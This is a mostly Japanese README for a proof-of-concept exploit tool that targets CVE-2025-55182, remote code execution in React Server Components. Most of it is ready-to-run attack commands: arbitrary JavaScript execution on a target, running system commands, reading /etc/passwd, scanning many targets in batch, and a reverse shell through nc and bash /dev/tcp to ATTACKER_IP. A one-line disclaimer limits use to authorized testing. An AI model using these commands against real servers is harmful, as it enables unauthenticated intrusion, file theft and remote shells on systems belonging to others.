
POC React2Shell-CVE-2025-55182
____ _____ _ ____ _____ ____ ____ _ _ _____ _ _
| _ \| ____| / \ / ___|_ _|___ \/ ___|| | | | ____| | | |
| |_) | _| / _ \| | | | __) \___ \| |_| | _| | | | |
| _ <| |___ / ___ \ |___ | | / __/ ___) | _ | |___| |___| |___
|_| \_\_____/_/ \_\____| |_| |_____|____/|_| |_|_____|_____|_____|
[ CVE-2025-55182 ]
React Server Components (RSC) 向けリモートコード実行スキャナ
| 役割 | 名前 | リンク |
|---|---|---|
| オリジナル研究 | Lachlan Davidson | github.com/lachlan2k |
元の PoC に基づく: React2Shell-CVE-2025-55182-original-poc
React2Shell は、CVE-2025-55182 のための包括的なセキュリティスキャナです。これは、React Server Components (RSC) の実装に影響を与える重大なリモートコード実行 (RCE) 脆弱性です。この脆弱性により、認証されていない攻撃者が React Flight プロトコルにおける安全でないデシリアライゼーションを通じて、サーバー上で任意の JavaScript コードを実行できます。
# Clone the repository
git clone https://github.com/Shadowroot97/POC-React2Shell-CVE-2025-55182.git
cd POC-React2Shell-CVE-2025-55182
# Install dependencies
pip install requests
# Run the scanner
python3 exploit_cve_2025_55182_v2.py -h
usage: exploit_cve_2025_55182_v2.py [-h] [-t TARGET] [-f FILE] [-m {version,verify,custom}]
[--js JS] [--extract] [--sleep SECONDS]
[--callback URL] [--dns DOMAIN] [-v]
[--no-color] [--timeout TIMEOUT]
脆弱なReactおよびフレームワークのバージョンをパッシブに検出します:
python3 exploit_cve_2025_55182_v2.py -t https://target.com
-m verify)複数の技術と4つのペイロードバリアントすべてを使用してRCEをアクティブに確認します:
# Basic verification (digest variation)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# With time-based verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --sleep 5
# With OOB callback (Burp Collaborator)
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify --callback abc123.oastify.com
# Full verification with verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback abc123.oastify.com --dns abc123.oastify.com -v
-m custom)任意のJavaScriptペイロードを実行:
# Get Node.js version
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Execute system command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('id').toString()" --extract
# Read file
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('fs').readFileSync('/etc/passwd','utf8')" --extract
-f)ファイルから複数のURLをスキャンし、脆弱なターゲットのみを表示:
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Version detection (default mode)
python3 exploit_cve_2025_55182_v2.py -t https://target.com
# RCE verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify
# Batch scan multiple targets
python3 exploit_cve_2025_55182_v2.py -f targets.txt
# Verbose output
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify -v
# Time-based + OOB verification
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m verify \
--sleep 5 --callback your-id.oastify.com
# Extract server info
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.version" --extract
# Execute command
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "require('child_process').execSync('whoami').toString()" --extract
# Start listener
nc -lvnp 443
# Execute reverse shell
python3 exploit_cve_2025_55182_v2.py -t https://target.com -m custom \
--js "process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/443 0>&1\"')"
このツールは、許可されたセキュリティテストおよび教育目的のみで提供されます。
| 引数 | 説明 |
|---|
-t, --target | ターゲットURL (例: https://example.com) |
-f, --file | URLのリストを含むファイル(1行に1つ)バッチスキャン用 |
-m, --mode | スキャンモード: version(デフォルト)、verify、または custom |
--js | カスタムモード用のJavaScriptコード |
--extract | 文字列結果を1文字ずつ抽出 |
--sleep SECONDS | 時間ベースのRCE検証(verifyモード) |
--callback URL | OOBテスト用HTTPコールバックURL(verifyモード) |
--dns DOMAIN | OOBテスト用DNSコールバックドメイン(verifyモード) |
-v, --verbose | ペイロード詳細を含む詳細出力 |
--no-color | カラー出力を無効化 |
--timeout SECONDS | HTTPリクエストのタイムアウト(デフォルト: 30) |